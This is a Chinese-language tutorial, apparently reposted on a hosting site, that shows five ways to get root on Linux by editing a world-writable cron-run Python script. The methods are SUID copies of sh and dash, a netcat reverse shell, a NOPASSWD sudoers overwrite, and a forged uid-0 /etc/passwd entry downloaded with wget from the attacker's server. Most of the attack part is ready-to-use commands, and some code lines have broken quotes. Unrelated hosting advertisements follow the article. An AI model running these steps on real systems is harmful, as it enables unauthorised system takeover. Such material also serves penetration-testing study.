在Linux上通过可写文件获取Root权限的多种方式

在Linux中,一切都可以看做文件,包括所有允许/禁止读写执行权限的目录和设备。当管理员为任何文件设置权限时,都应清楚并合理为每个Linux用户分配应有的读写执行权限。在本文中我将为大家展示,如何利用Linux中具有写入权限的文件/脚本来进行提权操作。好了,话不多说。下面就进入我们的正题吧!

首先,我们来启动我们的攻击机并渗透进目标系统直至提权阶段。这里假设我通过ssh成功登录到了受害者机器,并访问了非root用户的终端。通过以下命令,我们可以枚举所有具有可写权限的二进制文件。

  1. find / -writable -type  f 2>/dev/null | grep -v "/proc/" 

可以看到在/lib/log路径下有一个python文件,我们进入到该目录并查看该文件的权限为777 

通过cat命令查看该文件内容,这是管理员添加的一个用来清除 /tmp中的所有垃圾文件的脚本,具体执行取决于管理员设置的定时间隔。获取了这些信息后,攻击者可以通过以下方式来执行提权操作。 

方法1

我们复制了/bin/sh到/tmp下并为/tmp/sh启用了SUID。使用编辑器打开sanitizer.py并将 “rm -r /tmp/*” 中的内容替换为以下两行: 

  1. os.system('cp /bin/sh /tmp/sh') 
  2. os.system('chmod u+s /tmp/sh') 

 

一段时间后,它将在/tmp目录内创建一个具有SUID权限的sh文件,当你运行它时,你将会获取root访问权限。 

  1. cd /tmp 
  2. ls 
  3. ./sh 
  4. id 
  5. whoami 

下图可以说明一切! 

方法2

同样,你也可以将 “rm -r /tmp/*” 替换为以下内容:

  1. os.system(‘chmod u+s /bin/dash) 

 

一段时间后,它将为/bin/dash设置SUID权限,并且在运行时会给予root访问权限。 

  1. /bin/dash 
  2. id 
  3. whoami 

如下图所示: 

方法3

在这种方法中,我们在 rm -r /tmp/* 的位置粘贴了python反向shell连接代码,并在新的终端中启动了netcat侦听。 

如上所述,经过一段时间后,我们通过netcat获取了具有root访问权限的反向shell。 

  1. nc -lvp 1234 
  2. id 
  3. whoami 

如下图所示: 

方法4

这个方法挺有意思的,在下图中大家可以看到我当前的用户是没有执行sudo命令的权限的。那我们就想办法让自己成为suoders文件成员。 

同样,我们将 “rm -r /tmp/*” 替换为以下内容:

  1. os.system('echo "wernerbrandes ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers') 

 

过一段时间后,当你输入“sudo -l”命令时,你会注意到,它已成为了sudo用户的成员。此时我们只要输入“sudo bash”就可以获取root访问权限。 

  1. sudo -l 
  2. sudo bash 
  3. id 

方法5

我们知道passwd在任何类linux的系统中都扮演着非常重要的角色,一旦攻击者有机会可以修改此文件,那么它将会成为一种特权提升的动态方式。

同样,我们也不会忽视这一点,使用cat命令读取etc/passwd文件。

在这里你可以观察到用户名为nemo记录的高亮条目,根据我的猜测UID:1000 & GID:1000表示它应该是管理员组的成员。

但我们的目标是通过编辑nemo记录,使其成为root组的成员。因此,我们选择并复制etc/passwd文件内的所有记录,然后将它粘贴到一个空的文本文件中。 

然后在一个新的终端中使用openssl生成一个加盐密码并复制。

  1. openssl passwd -1 -salt abc 123 

 

现在将上面复制的加盐密码粘贴至用户nemo记录条目中的“X”处,并且将UID&GID更改为0,如图所示。操作完成后,将文本文件保存为“passwd”,将该文件传输至目标系统,它将覆盖原始passwd文件的内容。

 

  1. cd Desktop 
  2. python -m SimpleHTTPServer 80 

 

同样,将 “rm -r /tmp/*” 替换为以下内容:

  1. os.system(‘chmod u+s /bin/cp) 

一段时间后,它会启用/bin/cp的SUID位以复制任意文件。 

现在将被你修改过的passwd文件下载至目标系统的/tmp目录中。让我们来检查一下/bin/cp是否启用了SUID位,然后使用cp命令将修改的passwd文件复制到/etc/passwd中,这将覆盖原始passwd文件的内容。 

  1. cd /tmp 
  2. wget http://192.168.1.103/passwd 
  3. ls -al /bin/cp 
  4. cp passwd /etc/passwd 

 

现在,我们键入以下命令查看修改内容是否已在passwd文件中生效。

  1. tail /etc/passwd 

可以看到修改内容已成功写入! 

执行以下命令获取root访问权限: 

  1. su nemo 
  2. password 123 
  3. whoami 

 

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/148825.html<

赞 (0)
管理的头像管理
上一篇2025-03-12 08:13
下一篇 2025-03-12 08:14

相关推荐

  • jsp空间购买和交换数据空间怎么买,有哪些注意事项?

    购买JSP空间时,是否考虑过数据交换空间的性能?简米科技(2003年始创,23年行业沉淀)与酷番云(工信部一类增值电信全牌照)这类持牌自营机房的服务商,能确保数据交换的高效稳定,是值得优先选择的合作伙伴,为什么JSP空间需要搭配独立的数据交换空间从JSP应用特性看数据交换需求JSP基于Java技术,常用于企业级……

    2026-08-11
    0
  • 建网站用香港空间效果怎么样,香港空间稳定吗?

    建网站用香港空间,对于创建网站资产来说,核心价值在于免备案和全球带宽优势,尤其适合外贸、跨境电商和需要快速启动的项目,但你必须权衡国内访问延迟,并选择有资质的服务商以保证资产安全,香港空间的核心优势与适用边界免备案:节省时间就是节省成本国内服务器需要备案,通常需要10到20天,香港空间无需备案,域名解析后即可上……

    2026-08-11
    0
  • Java连接云数据库的方法是什么,如何操作

    Java连接云数据库的核心在于通过JDBC驱动,结合云服务商提供的连接地址、端口、数据库名及认证信息,配置安全策略(如SSL、IP白名单),即可实现稳定高效的远程数据库访问,基础准备:JDBC驱动与依赖管理连接云数据库前,需要确保开发环境具备对应的JDBC驱动,以最常见的MySQL为例,你需要引入mysql-c……

    2026-08-11
    0
  • 建网站公安联网备案必须使用数据码吗,备案流程是什么

    网站备案包括ICP备案和公安联网备案,两者缺一不可,公安联网备案必须使用服务商提供的数据码,选择持有合法资质的服务商是顺利通过备案的前提,为什么网站必须进行公安联网备案根据公安部《计算机信息网络国际联网安全保护管理办法》,网站开通后30日内必须到公安机关办理备案手续,未完成公安备案的网站,面临责令整改、关闭网站……

    2026-08-10
    0
  • 建一个企业网站大概需要多少钱?,怎么收费?

    建网站要多少钱,没有一个固定的数字,几百到几万都可能,但真正的“创建网站资产”绝不仅仅是初次投入的成本,而是基于长期稳定、合规和安全的持续性投入,其中核心取决于你选择了什么样的“地基”来承载你的业务,建站预算的构成与行业基准当你开始规划一个网站,最先面对的就是预算问题,一个常见的误区是只关注网站“看起来”的建造……

    2026-08-10
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注